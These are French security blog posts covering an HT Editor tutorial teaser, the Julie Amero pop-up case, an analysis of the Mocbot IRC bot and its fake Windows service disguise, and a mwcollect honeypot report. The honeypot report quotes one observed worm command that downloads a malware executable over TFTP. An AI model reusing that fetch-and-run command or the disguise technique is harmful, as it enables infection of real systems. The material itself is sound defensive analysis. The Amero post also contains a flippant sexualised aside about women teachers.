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Tutoriel d'utilisation de HT Editor

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HT Editor est un désassembleur et éditeur d'exécutables. Il est sous licence GNU GPL et est disponible pour Linux, *BSD et Windows.

Il y a peu d'attrait pour les désassembleurs sous Linux et la plupart ne sont pas simple d'utilisation (tout en ligne de commande par exemple). Cela peut s'expliquer par le fait que les programmes sous Linux sont généralement open-source et gratuits p:

HT offre une interface en ncurse permettant de naviguer facilement dans le code, ce qui le rend bien plus agréable à utiliser que le vieux objdump. De plus il est capable de lire différents formats d'exécutables et permet de "switcher" entre différentes vues (hexa, assembleur, entêtes du fichier...)

Dans ce billet on va seulement se concentrer sur l'utilisation du logiciel (touches à connaître) pour naviguer facilement.

Read more...

L'affaire Julie Amero

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Julie Amero est une professeur de français remplaçante de 40 ans. Elle a été amenée à remplacer un professeur dans un collège de Norwich dans le Connecticut pour s'occuper d'une classe de 7ième grade (la cinquième française d'après le système éducatif EtatsUnien)

Cette professeur risque jusqu'à 40 ans de prison pour avoir exposé ses élèves à des images pornographiques. Sa culpabilité semble loin d'être établie puisque les images en question seraient apparues sous la forme de popup. La possibilité que la machine utilisée soit infectée par un quelconque malware est donc loin d'être invraisemblable.

Son histoire a rapidement été reprise par tout un tas de sites traitant de sécurité informatique, notemment SecurityFocus qui nous offre un article de 7 pages rassemblant différentes sources d'informations en plus du point de vue de l'auteur.

Les accusations portées sur Amero manquent de clarté. Ainsi une fois elle est accusée d'avoir intentionnellement surfé sur des sites pornographiques et l'autre fois on lui reproche seulement de ne pas avoir correctement réagi face à l'apparition des popups.

L'analyse forensic a prouvé qu'elle avait la mauvaise habitude de surfer sur Internet pendant qu'elle donnait ses cours, notamment pour lire son courier sur AOL.
Le jour de l'incident, les sites crayola.com et hair-styles.org ont été visités. Le premier site est celui d'une compagnie fabriquant des crayons pastels sur lequel on peut trouver des jeux flash pour les enfants et le second est un site de coiffure...
Rien ne dit que ce n'est pas une élève qui ait visité ces sites Internet. Dans tous les cas la session a continuée et l'internaute s'est retrouvé sur new-hair-styles.com. Ce site regroupe des photos de coiffures et semble innofensif. Pourtant si on désire se rendre à l'index et que l'on clique sur la bannière du haut, on est redirigé sur "sex.sweetmeet.ru" :left:
Ce pourrait être ce site qui soit à l'origine d'une éventuelle infection de la machine...

Dans tous les cas c'est durant le cours que différentes popups sont apparues.
Selon la défense, l'action se serait déroulée de cette façon : La professeur, intriguée par le comportement des élèves, serait allé voir l'écran d'ordinateur et aurait essayé de fermer les popups sans résultats. Paniquée, elle aurait quitté la classe pour demander de l'aide à des collègues au lieu d'éteindre simplement l'écran.

Dans l'affaire, un détective a été appelé pour étudier le disque dur. Dans une interview il explique avoir étudié le cache et l'historique du navigateur ainsi que la base de registre de windows.
Cela lui aurait permis de retrouver par exemple les urls tappées par l'utilisatrice. En effet Internet Explorer garde ces urls dans la clé HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs.

La liste exhaustive des informations qu'a trouvé le détective sur le disque ne semble pas disponible sur le web. Dans tous les cas plusieurs élèments connus sont à prendre en compte :
  • Selon lui Amero a dû obligatoirement cliquer sur un lien pornographique pour que les popups se déclenchent. Il explique notemment dans son interview qu'on ne peut pas se retrouver face à de tels contenus si on ne visite que des sites comme Disney.com
  • D'un autre côté il avoue que le disque dur n'a pas été scanné à l'aide d'un antivirus qui aurait pû mettre en évidence la présence d'un malware
  • La machine utilise un Windows 98 avec un Internet Explorer 5.

Les avocats de Julie Amero soutiennent la thèse de l'infection par un malware. Ils ont fait appel à un expert qui a lui aussi donné une interview qui révèle que :
  • Aucun firewall n'était installé sur la machine (mais on ne connaît pas la structure du réseau du collège)
  • L'antivirus installé sur la machine n'était pas à jour
  • L'utilisation d'un scanner d'adware (dans le style de Spybot S&D) a révélé la présence de 42 éléments indésirables (cela inclus les cookies publicitaires), certains étant présents bien avant l'arrivée de la professeur (qui au passage utilise le compte utilisateur du professeur qu'elle remplace)
  • Différents accès à des sites d'"advertisement" ont été relevés

Ce qui énerve le plus les personnes ayant traité cette histoire c'est principalement l'absence d'utilisation d'un antivirus ou d'un anti-spyware par le détective.
Ensuite c'est son opinion sur la nécessité de vouloir accèder à un site pornographique pour provoquer l'affichage de popups avec des contenus de ce type.

Or on sait bien que les sociétés spécialisées dans les ADS n'ont pas toujours des règles bien définies sur le contenu qu'elles vont afficher. Ensuite de gros sites communautaires comme MySpace sont souvent à l'origine d'infections car des personnes y postent des contenus malicieux... Même en ne surfant que sur des sites qui se veulent propres, on risque toujours de chopper une saleté, en particulier sur une machine avec un antivirus pas mis à jour et un vieil Internet Explorer ^_^


La liste des urls tappées a très bien pû être falsifiée. Il existe quelques malwares qui ajoutent des entrées dans la clé de registre correspondante pour faire apparaître leurs sites dans la liste des urls visités.
Mme Amero a très bien pû recevoir un malware par le biais de son compte mail chez AOL. Les vulnérabilités sont nombreuses dans Word et Powerpoint et des fichiers sous ce format sont régulièrement échangés par les internautes (entre amis ou collègues de bureau...) Cela laisse un autre angle d'attaque.

Bien sûr il ne faut pas non plus supprimer l'hypothèse qu'elle ait pû intentionnellement provoquer l'affichage de ces popups. On a sans doute une vision idyllique des femmes professeurs... après tout qui n'a jamais été amoureux d'une de ses profs ? Qui n'a jamais eu une prof d'histoire canon, une prof de musique qui s'habillait court ou une jeune et mignone prof de cours du soir qui vous ferait presque regretter l'époque où vous étiez un cancre ? (toute ressemblance avec des personnages existants seraient bien entendu le pûr fruit du hazard :D )

Il faut juste espèrer qu'une analyse plus approfondie du disque dûr sera effectuée avant que la sentence soit rendue le 2 mars prochain.

Mocbot

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Si vous apportez de l'importance à la sécurité de votre Windows, vous êtes forcément au courant qu'une nouvelle vulnérabilité, nom de code MS06-040 a été découverte, et qu'elle est jugée critique.

Cette vulnérabilité touche le service "Server" de Windows (lanmanserver) qui se charge du partage de fichiers et d'imprimantes. Ce service correspond au fichier svchost.exe.
La faille, de type buffer overflow, peut permettre de faire exécuter du code (avec des privilèges élevés) sur la machine si son exploitation est réussie.

La page McAfee dédié à cette vulnérabilité nous donne les dates principales des évennements :

L'apparition d'un ver exploitant cette vulnérabilité semble alors imminente. Toutefois, comme l'explique la société de sécurité LURQ, différents facteurs viennent aténuer l'importance de cette faille.
Tout d'abord, et Microsoft le dit lui-même, les ports ciblés (139 et 445) sont protégés par le firewall du SP2. Ensuite, toutes les versions ne permettent pas l'exécution de code.
Pour combler le tout, le patch est d'ores et déjà disponible.

Les vxers n'ont pas attendu longtemps pour exploiter la vulnérabilité : ils ont tout simplement repris un bot existant nommé Mocbot et datant de fin 2005 et ont remplacé l'exploit pour la faille PnP (MS05-039) par le nouvel exploit.
Mocbot est un bot IRC. C'est à dire qu'une fois exécuté, il tente de se connecter à un serveur IRC et rejoint un chan prédéfini où il attends patiemment qu'on lui donne des ordres.
Quand sufisamment de zombies font partie du Botnet, les pirates peuvent s'en servir pour effecter des déni de service, récupérer des infos bancaires, installer des spywares ou des relais pour le spam (certains revendent les "clés" de leur réseau à des sociétés peu scrupuleuses).

Pour se dissimuler, Mocbot se copie dans le dossier system sous le nom "wgareg.exe". Il se lance en tant que service à chaque démarrage de l'ordinateur.
Dans l'affichage des services Windows, il apparait avec le nom "Windows Genuine Advantage Registration Service" dont la description est la suivante :

Ensures that your copy of Microsoft Windows is genuine and registered. Stopping or disabling this service will result in system instability.

:jester:
Là où il est bien moins malin c'est que les serveurs IRC utilisés sont les mêmes que pour MS05-039, par conséquent, certains administrateurs prudents ont peut-ête déjà ces serveurs bloqués par leur firewall. Et le fait qu'ils soient hardcodés (en dur dans le code) rend le fonctionnement de Mocbot pour le moins prévisible.

Grâce à nepenthes (voir mon billet sur mwcollect) qui fonctionne parfaitement maintenant, j'ai pû récupérer (à priori) une version de Mocbot.

Je dis "à priori" parce que :
  • Les hashs MD5 donnés sur le net pour ces fichiers ne correspondent pas à ce que j'obtiens
  • D'après la description de IRC-Mocbot!MS06-040 par McAfee, il n'utilise ni FTP ni TFTP. Dans mon cas TFTP est utilisé
  • Mocbot est compressé/encodé avec le packer Mew (pour ceux que ça parle)

Toutefois... dans tous les cas Clamav n'y vois que du feu.
Pour l'un des binaires, f-prot me dis qu'il est packé avec Aspack et m'averti qu'il s'agit probablement d'une nouvelle version de W32/Threat-HLLAV-based!Maximus
Pour les autres binaires, f-prot me donne :

(Packed)->(Packed) Infection: Possibly a new variant of W32/Threat-HLLIN-based!Maximus



Ce qui correspond aux comportements respectifs de Clamav et F-Prot pour ce malware (voir le graphique dans cette page)

Une variante spam est apparue, vous pouvez en savoir plus en lisant cet article : Mocbot Spam Analysis.

Je pars en vacances pour une petite semaine donc pas de billets d'ici là. Je vous laisse le blog, n'oubliez pas de rabaisser la lunette en partant et que ce soit propre quand je revienne :wink:

mwcollect

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mwcollect est un honeypot destiné à la surveillance des malwares circulant sur le réseau Internet.

Commençons par décrypter un peu ce charabia p:
Un malware est un programme (logiciel) donc les objectifs sont néfastes. Evidemment les malwares ne sont pas tous aussi néfastes les uns que les autres. On les divise en plusieurs catégories : virus, vers, spyware, adware, backdoors/rootkits, dialers... mais bien souvent ces programmes sont des mélanges de plusieurs catégories ou du moins collaborent les uns avec un autres (ex: un ver qui infecte des machines et y installe spyware/dialer ainsi qu'une rootkit pour cacher sa présence).

Un honeypot est un leurre destiné à attirer les pirates. Comment peut-on attirer un pirate ? Et bien il suffit de mettre à disposition un service/programme qui semble exploitable et d'attendre son passage.
Quel est l'utilité d'un tel leurre ? Principalement se tenir au courant des techniques, vulnérabilités, logiciels utilisés par les attaquants pour mieux se défendre.

En règle générale quand on entend "honeypot" on pense à des systèmes complets, sacrifiés pour ces chers pirates ou encore des systèmes émulés avec une architecture réseau soigneusement étudié pour récupérer les informations... bref un arsenal qui demande du matos assez costaud.

Heureusement on trouve quelques solutions légères qui simulent un ou plusieurs services en particulier... mwcollect est l'une de ces solutions.
Il simule différents services exploités massivement par les vers, donne de fausses réponses afin de faire croire que l'attaque a réussi et stocke les données qui ont une signature inconnue (donc à priori une nouvelle variante d'un ver voire pourquoi pas... une toute nouvelle attaque) sur le disque.

Les données recueillies sont soit des fichiers qu'un ver/attaquant a voulu transférer sur sa victime, soit des shellcodes utilisés pour abuser d'une vulnérabilité (une suite d'instructions que le ver veut faire exécuter à sa victime).

Les failles que j'ai simulé à l'aide de mwcollect sont (des failles Windows) MS04-11 (service lsass, exploité notemment par Sasser), MS05-39 (service PnP, exploité notamment par Zotob) ainsi que MS03-26 (RPC-DCOM exploité en particulier par le célèbre Blaster).

Je n'ai pas calculé combien de temps au total j'ai fait tourner mwcollect mais j'ai pu en tirer certaines conclusions et certains chiffres :
  • Sur un total de 382 exploitations réussies, 249 reviennent au service RCP-DCOM, 131 sont à attribuer à lsass et seulement 2 au service Plug and Play
  • Il faut moins d'une minute une fois les services lancés pour être scanné
  • Une faille est exploitée dans LES 5 PREMIERES MINUTES
  • Même si la faille a été exploitée, l'attaque complète échoue dans la plupart des cas. Les vers ont en effet tendance à utiliser le protocole TFTP pour se propager, ce qui implique le lancement d'un mini serveur TFTP sur la machine attaquante. La plupart du temps le port 69 est explicitement fermé sur la machine par conséquent soit le mécanisme de propagation du ver est imparfait soit la machine attaquante a récupéré le malware d'une façon particulière (site internet, P2P etc)... mais dans tous les cas ont peu considérer que le créateur du malware n'a pas pensé à tout
  • Très rarement le port TFTP de l'attaquant est protégé par un firewall. Dans ces cas soit un vrai attaquant se trouve sur la machine, soit le ver était présent avant l'apparition du firewall (passage à SP2 ?), ou encore le ver est venu d'ailleurs
  • Il y a parfois des cas où la commande exécuté est du type "tftp.exe -i 0.0.0.0 get malware.exe" ce qui montre que le malware attaquant n'a pas été capable de déterminer l'adresse IP sur laquelle il se trouve :rolleyes:
  • Sur tous les cas d'exploitation AUCUN n'a réussi à transférer un fichier par TFTP... j'ai seulement eu 3 cas où le serveur TFTP était effectivement lancé mais le fichier à télécharger était... manquant
  • Les noms de fichiers utilisés par les malwares sont généralement des noms qui pourraient être ceux d'un exécutable système windows... ou des utilitaires (ex: PopupBlocker.exe)
  • Malgré les stats effrayantes que je viens de donner, j'ai remarqué que seules des IPs du même fournisseur d'accès que moi apparaissent dans les logs. Bref le traffic est filtré par le F.A.I. Si ce n'était pas le cas une exploitation surviendrait probablement dès le lancement de Windows (sympa non ? :jester: )
  • Une bonne partie des shellcodes sont encodés à l'aide d'un XOR

Le résultat d'un hexdump sur un des shellcodes récupéré :

Le shellcode n'étant pas crypté on devine tout de suite à l'aide des chaines de caractères qu'il ouvre un port et y associe une instance de l'invite de commande...

Quelques critiques sur mwcollect :
Quand un shellcode demande l'ouverture d'un port, mwcollect se charge évidemment de l'ouvrir... malheureusement quand le ver/l'attanquant se connecte à ce port on a un beau segfault :down:
Le programme ne garde pas en mémoire les shellcodes qu'il a déjà reçu... on se retrouve vite fait avec 25 fois le shellcode le plus fréquent :frown:
A cause de tout ça on s'en lasse assez vite :irked:

Bon point : on est deux fois plus heureux d'être sous Linux après cette expérience :lol:

Aller sur le site de mwcollect